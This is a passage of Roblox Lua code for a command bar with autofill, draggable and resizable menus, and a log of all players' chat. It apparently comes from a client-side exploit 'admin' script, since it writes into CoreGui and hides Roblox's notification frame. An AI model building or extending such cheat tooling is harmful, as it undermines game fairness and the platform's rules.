Enum.UserInputType.Touch then mode = nil end end) button.MouseEnter:Connect(function() mouse.Icon = resizeXY[button.Name][3] end) button.MouseLeave:Connect(function() if mouse.Icon == resizeXY[button.Name][3] then mouse.Icon = "" end end) end end gui.draggable = function(ui, dragui) if not dragui then dragui = ui end local UserInputService = game:GetService("UserInputService") local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart ui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end dragui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = ui.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) dragui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end gui.menuify = function(menu) local exit = menu:FindFirstChild("Exit", true) local mini = menu:FindFirstChild("Minimize", true) local minimized = false local sizeX, sizeY = Instance.new("IntValue", menu), Instance.new("IntValue", menu) mini.MouseButton1Click:Connect(function() minimized = not minimized if minimized then sizeX.Value = menu.Size.X.Offset sizeY.Value = menu.Size.Y.Offset gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, 200, 0, 25)}) else gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, sizeX.Value, 0, sizeY.Value)}) end end) exit.MouseButton1Click:Connect(function() menu.Visible = false end) gui.draggable(menu, menu.Topbar) menu.Visible = false end gui.barSelect = function(speed) centerBar.Visible = true gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 1, 15)}) gui.tween(leftFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(0, 0, 0.5, 0)}) gui.tween(rightFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(1, 0, 0.5, 0)}) gui.loadCommands() end gui.barDeselect = function(speed) gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 0, 0)}) gui.tween(leftFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(-0.5, 100, 0.5, 0)}) gui.tween(rightFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(1.5, -100, 0.5, 0)}) for i, v in ipairs(cmdAutofill:GetChildren()) do if v:IsA("Frame") then if i > 5 then break end -- Stop after 5 autofills wrap(function() wait(math.random(1, 200)/2000) gui.tween(v, "Back", "In", 0.35, {Size = UDim2.new(0, 0, 0, 25)}) end) end end end gui.loadCommands = function() for i, v in pairs(cmdAutofill:GetChildren()) do if v.Name ~= "UIListLayout" then Destroy(v) end end local last = nil local i = 0 for name, tbl in pairs(Commands) do local info = tbl[2] local btn = cmdExample:Clone() btn.Parent = cmdAutofill btn.Name = name btn.Input.Text = info[1] i = i + 1 local size = btn.Size btn.Size = UDim2.new(0, 0, 0, 25) btn.Size = size end end gui.searchCommands = function() local str = (cmdInput.Text:gsub(";", "")):lower() local index = 0 local lastFrame for _, v in ipairs(cmdAutofill:GetChildren()) do if v:IsA("Frame") and index < 5 then local cmd = Commands[v.Name] local name = cmd and cmd[2][1] or "" v.Input.Text = str ~= "" and v.Name:find(str) == 1 and v.Name or name v.Visible = str == "" or v.Name:find(str) if v.Visible then index = index + 1 local n = math.sqrt(index) * 125 local yPos = (index - 1) * 28 local newPos = UDim2.new(0.5, 0, 0, yPos) gui.tween(v, "Quint", "Out", 0.3, { Size = UDim2.new(0.5, n, 0, 25), Position = lastFrame and newPos or UDim2.new(0.5, 0, 0, yPos), }) lastFrame = v end end end end --[[ GUI FUNCTIONALITY ]]-- mouse.KeyDown:Connect(function(k) if k:lower() == opt.prefix then gui.barSelect() cmdInput.Text = '' cmdInput:CaptureFocus() end end) cmdInput.FocusLost:Connect(function(enterPressed) if enterPressed then wrap(function() lib.parseCommand(opt.prefix .. cmdInput.Text) end) end gui.barDeselect() wait(0.35) for i, v in ipairs(cmdAutofill:GetChildren()) do if v:IsA("Frame") then v.Visible = false end end wait(0.15) end) cmdInput.Changed:Connect(function(p) if p ~= "Text" then return end gui.searchCommands() end) gui.barDeselect(0) cmdBar.Visible = true gui.menuify(chatLogsFrame) gui.menuify(commandsFrame) gui.resizeable(chatLogsFrame, Vector2.new(173,58), Vector2.new(1000,1000)) gui.resizeable(commandsFrame, Vector2.new(184,84), Vector2.new(1000,1000)) commandsFilter.Changed:Connect(function(p) if p ~= "Text" then return end for i, v in pairs(commandsList:GetChildren()) do if v:IsA("TextLabel") then if v.Name:find(commandsFilter.Text:lower()) and v.Name:find(commandsFilter.Text:lower()) <= 2 then v.Visible = true else v.Visible = false end end end end) local function bindToChat(plr, msg) local chatMsg = chatExample:Clone() for i, v in pairs(chatLogs:GetChildren()) do if v:IsA("TextLabel") then v.LayoutOrder = v.LayoutOrder + 1 end end chatMsg.Parent = chatLogs chatMsg.Text = ("[%s]: %s"):format(plr.Name, msg) local txtSize = gui.txtSize(chatMsg, chatMsg.AbsoluteSize.X, 100) chatMsg.Size = UDim2.new(1, -5, 0, txtSize.Y) end for i, plr in pairs(Players:GetPlayers()) do plr.Chatted:Connect(function(msg) bindToChat(plr, msg) end) end Players.PlayerAdded:Connect(function(plr) plr.Chatted:Connect(function(msg) bindToChat(plr, msg) end) end) mouse.Move:Connect(function() description.Position = UDim2.new(0, mouse.X, 0, mouse.Y) local size = gui.txtSize(description, 200, 100) description.Size = UDim2.new(0, size.X, 0, size.Y) end) RunService.Stepped:Connect(function() chatLogs.CanvasSize = UDim2.new(0, 0, 0, chatLogs.UIListLayout.AbsoluteContentSize.Y) commandsList.CanvasSize = UDim2.new(0, 0, 0, commandsList.UIListLayout.AbsoluteContentSize.Y) end) function Destroy(guiObject) if not pcall(function()guiObject.Parent = game:GetService("CoreGui")end) then guiObject.Parent = nil end end wait(0.1) game:GetService("CoreGui").RobloxGui.NotificationFrame.Visible = false